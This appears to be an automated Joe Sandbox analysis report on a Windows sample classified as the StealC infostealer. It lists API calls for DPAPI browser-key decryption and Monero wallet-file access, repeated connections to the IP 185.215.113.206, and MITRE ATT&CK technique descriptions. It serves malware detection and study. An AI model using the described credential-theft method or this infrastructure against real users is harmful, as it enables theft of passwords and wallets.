Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: f718b4ea12e9f07ae474e0a2937c7ba4333eac145069894b4f66beff48532a57
Instruction ID: 9ba75c58579066c5ac069ec82a84e265d5ac085ced1eb31d3987ed3e96564848
Opcode Fuzzy Hash: f718b4ea12e9f07ae474e0a2937c7ba4333eac145069894b4f66beff48532a57
Instruction Fuzzy Hash: 2D3160B6D00108ABCF04DB95DC45AFFB7B8AB58305F444919E901A7245E734AA14CB66

Function 004F8810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005005BF), ref: 004F885A
Process32First.KERNEL32(?,00000128), ref: 004F886E
Process32Next.KERNEL32(?,00000128), ref: 004F8883

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

CloseHandle.KERNEL32(?), ref: 004F88F1

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 154eefe186d5a23e879bb6794bf45a60d067ba3b787525b38a51c2bb2a6a5bb1
Instruction ID: 8375212d6c234312dfd92c950ea31c57ab93db3dfb106dd21b615ac5396fc0ce
Opcode Fuzzy Hash: 154eefe186d5a23e879bb6794bf45a60d067ba3b787525b38a51c2bb2a6a5bb1
Instruction Fuzzy Hash: 7B312BB190111CABCB24EB95CC55FEEB778FB45744F10419EF20EA61A0DB386A44CFA5

Function 0055FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0055FE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0055FE2C

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: 83c85681573846bd7ec83f7e60c419efec1e9569b5f2148e8d06c7647ca64d2e
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: BC01F53210ABA2EEFAB416745CDE96A3E48FB413B2734473AF912811F2EF514C459344

Function 004FCA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004FCA7E

Part of subcall function 004FC2A0: __amsg_exit.LIBCMT ref: 004FC2B0

__getptd.LIBCMT ref: 004FCA95
__amsg_exit.LIBCMT ref: 004FCAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 004FCAC7

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 96b287399e92011511dcad94a4e7daaf98c1bdad4bc4ac34d64b8d7fa281c480
Instruction ID: 7cb1af989952c1a070741b45537cc0c49e32ec7c0c26cc7e8b2ca80abb5acbd2
Opcode Fuzzy Hash: 96b287399e92011511dcad94a4e7daaf98c1bdad4bc4ac34d64b8d7fa281c480
Instruction Fuzzy Hash: CAF06231E4431D9BD621FBA9998677E36A0EF01718F11414FE604962D2CB6C694096DE

Function 005604D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 005605DE

Strings

MOC, xrefs: 0056050A
RCC, xrefs: 00560512

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: 4c9c51c7120a8f987f7f39baeabcead1ceeb5c49ef32d10a1a77b26da3f7b8b0
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: A0417872900209AFCF16DF98DC81AAEBFB5FF58300F189099F905A7291E3359A50DF60

Function 004F5190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004F8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004F8F9B

lstrcat.KERNEL32(?,00000000), ref: 004F51CA
lstrcat.KERNEL32(?,00501058), ref: 004F51E7
lstrcat.KERNEL32(?,01459030), ref: 004F51FB
lstrcat.KERNEL32(?,0050105C), ref: 004F520D

Part of subcall function 004F4B60: wsprintfA.USER32 ref: 004F4B7C
Part of subcall function 004F4B60: FindFirstFileA.KERNEL32(?,?), ref: 004F4B93

Part of subcall function 004F4B60: StrCmpCA.SHLWAPI(?,00500FC4), ref: 004F4BC1
Part of subcall function 004F4B60: StrCmpCA.SHLWAPI(?,00500FC8), ref: 004F4BD7
Part of subcall function 004F4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 004F4DCD
Part of subcall function 004F4B60: FindClose.KERNEL32(000000FF), ref: 004F4DE2

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 5f073e321dda448b2550e0a2395f7bd0204e484bee4adbf5afd314a5b4fa02ef
Instruction ID: 2e16a00f86d62abe8de37b1e0e345b3f26d15fe3f831329ade5473fe0031f608
Opcode Fuzzy Hash: 5f073e321dda448b2550e0a2395f7bd0204e484bee4adbf5afd314a5b4fa02ef
Instruction Fuzzy Hash: B321B8B6900208ABCB14E761EC56FFD333CAB94300F00865DB75556191EE7CAAC8CB99

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_004F9030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004EA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004E72A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EA2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_004EA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004EC920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 004F9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004E4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 004E62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 004F7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 004F9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 004E48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 004F5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 004F19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 004F6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 004E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

